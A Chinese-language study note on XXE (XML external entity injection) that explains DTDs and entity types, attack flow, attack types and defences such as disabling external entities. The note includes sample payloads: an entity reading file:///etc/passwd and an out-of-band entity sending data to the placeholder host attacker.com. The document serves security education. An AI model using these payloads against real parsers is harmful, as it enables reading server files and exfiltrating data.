首页 > 其他分享 >No.17 笔记 | XXE漏洞:XML外部实体注入攻击

No.17 笔记 | XXE漏洞:XML外部实体注入攻击

时间:2024-10-17 10:20:32浏览次数:17  
标签:XML 解析器 No.17 实体 DTD 漏洞 XXE

1. XXE漏洞概览

XXE(XML External Entity)是一种允许攻击者干扰应用程序对XML输入处理的漏洞。

1.1 XXE漏洞比喻

想象XML解析器是一个听话的机器人,而XXE就是利用这个机器人的"过分听话"来获取不应该获取的信息。

1.2 XXE漏洞危害

危害类型描述
文件读取读取服务器上的任意文件
命令执行在服务器上执行系统命令
网络探测探测内网端口和攻击内网网站
拒绝服务导致系统资源耗尽
数据泄露可能导致敏感信息泄露和财务损失

2. XML和DTD基础

2.1 XML结构

<?xml version="1.0" encoding="UTF-8"?> 
<root> 
    <element attribute="value">Content</element> 
</root> 

2.2 DTD(文档类型定义)

DTD定义XML文档的结构和合法元素。

DTD声明方式
  1. 内部声明:在XML文档内部定义DTD
  2. 外部声明:引用外部DTD文件
DTD示例
<!DOCTYPE note [ 
    <!ELEMENT note (to,from,heading,body)> 
    <!ELEMENT to (#PCDATA)> 
    <!ELEMENT from (#PCDATA)> 
    <!ELEMENT heading (#PCDATA)> 
    <!ELEMENT body (#PCDATA)> 
]> 

3. XML实体:XXE的核心

3.1 实体类型对比

特征内部实体外部实体参数实体普通实体
定义位置DTD内部外部文件DTD内部DTD内部
引用符号&实体名;&实体名;%实体名;&实体名;
使用范围XML文档中XML文档中仅DTD中XML文档中
安全风险

3.2 实体示例

<!-- 内部实体 --> 
    <!ENTITY writer "Donald Duck"> 

<!-- 外部实体 --> 
    <!ENTITY copyright SYSTEM "http://www.example.com/copyright.xml"> 

<!-- 参数实体 --> 
    <!ENTITY % entity "<!ENTITY externalEntity SYSTEM 'file:///etc/passwd'>"> 

<!-- 普通实体 -->     
    <!ENTITY normalEntity "This is a normal entity"> 

4. XXE攻击原理和类型

4.1 基本攻击流程

  1. 攻击者创建包含恶意外部实体的XML
  2. 应用程序解析该XML
  3. 解析器处理外部实体,执行非预期操作

4.2 XXE攻击类型对比

攻击类型描述示例
基于错误的XXE利用错误消息泄露信息<!ENTITY xxe SYSTEM "file:///nonexistent">
带外数据的XXE (OOB-XXE)将数据发送到攻击者服务器<!ENTITY xxe SYSTEM "http://attacker.com/collect?data=">
基于盲XXE不直接返回响应,但影响应用行为使用参数实体和条件语句

5. XXE防御策略

防御策略描述实现方法
禁用外部实体在XML解析器中禁用DTD处理配置解析器安全选项
输入验证严格验证和过滤所有XML输入使用白名单方法验证XML结构
使用安全配置正确配置XML解析器的安全选项查阅并应用解析器的安全最佳实践
使用替代格式考虑使用JSON等不易受XXE影响的格式将数据交换格式从XML迁移到JSON

6. 实践练习

  1. 搭建包含XXE漏洞的测试环境(如DVWA)
  2. 尝试不同类型的XXE攻击
  3. 实施防御措施并验证其有效性
  4. 分析真实世界的XXE漏洞案例

深入思考问题ING...

  • XXE如何与其他漏洞(如SSRF)结合产生更严重的影响?
  • 在现代Web应用中,XML使用减少对XXE风险有何影响?
  • 未来的安全标准如何应对XXE等解析器漏洞?

标签:XML,解析器,No.17,实体,DTD,漏洞,XXE
From: https://blog.csdn.net/l1x1n0/article/details/142996445

相关文章

  • pom.xml文件中各个标签的含义
    原文链接:pom文件中各个标签的含义–每天进步一点点(longkui.site)搭建springboot中有一个默认的pom文件,看到它里面的标签,有些不太熟悉,于是学习了下把找到的结果都记录下来。1.parent<parent><!--这是SpringBoot的父级依赖,这样当前的项目就是SpringBoot项目了......
  • xml转YOLO的txt格式(一次必成版!)
    废话少说,直接上干货!首先,我先介绍一下代码的使用,编程语言为“Python”,共有三处需按照自己的需求修改的,我都放在代码最下面了。xml_root_path:输入你的xml格式的文件存放位置,建议全部用绝对路径txt_save_path:输入你的txt格式的文件导出后的存放位置classes_path:输入你的label......
  • golang从http请求中读取xml格式的body,并转成json
    推荐学习文档golang应用级os框架,欢迎stargolang应用级os框架使用案例,欢迎star案例:基于golang开发的一款超有个性的旅游计划app经历golang实战大纲golang优秀开发常用开源库汇总想学习更多golang知识,这里有免费的golang学习笔记专栏文章目录以下是在Go语言中从HTT......
  • 软件构造,生成算式采用CSV、XML、JSON三种形式进行存储并读取。
    编写代码完成将生成的算式及习题长期保存下来,采用CSV、XML、JSON三种形式进行存储并读取。提交相关代码及运行截图。importrandomimportcsvimportjsonimportxml.etree.ElementTreeasETfromxml.domimportminidom#生成随机算式数据defgenerate_exercises(count......
  • 方正畅享全媒体新闻采编系统 addOrUpdateOrg xxe漏洞
    0x01产品描述:   方正畅享全媒体新闻采编系统是一个集指挥中心、采集中心、编辑中心、发布中心、绩效考核中心和资料中心为一体的全媒体新闻采编系统‌,主要应用于媒体行业的深度融合,通过大数据和AI技术,实现新闻生产的策、采、编、发、存、传、评的全流程管理‌     ......
  • 【Flink 系列二十三】hudi 消失的 HIVE_CONF_DIR,HIVE 读不到 hive-site.xml 读不到
    问题现象Unabletofindconfigfilehive-site.xmlUnabletofindconfigfilehivemetastore-site.xmlUnabletofindconfigfilemetastore-site.xml本文记录这个问题是如何导致的,并记录如何向Hive、Hudi提供hive-site.xml以便正确加载。问题分析:HiveMetaStore是......
  • 读取xml文件写到csv文件中
    #xml数据提取,拼合为csv文件importosimportcsvimportxml.dom.minidomimportglobdefto_int(str_value):try:returnint(str_value)exceptValueError:try:float_value=float(str_value)returnint(floa......
  • vulnhub-XXE靶机的测试报告
    目录一、测试环境1、系统环境2、使用工具/软件二、测试目的三、操作过程1、信息搜集2、xml外部实体注入四、结论一、测试环境1、系统环境渗透机:kali2021.1(192.168.202.134)靶 机:ubuntu17.10(192.168.202.161)2、使用工具/软件Kali:arp-scan(主机探测)、nmap......
  • spring上 -基于Xml配置bean笔记
    4,Spring内容   7,快速入门 需求:通过Spring的方式[配置文件],获取JavaBean:Monster的对象,并给该的对象属性赋值,输出该对象信息.代码结构:lib目录是自己创建的,然后再引入5个jar包 源码:beans.xml<?xmlversion="1.0"encoding="UTF-8"?><beansxmlns="......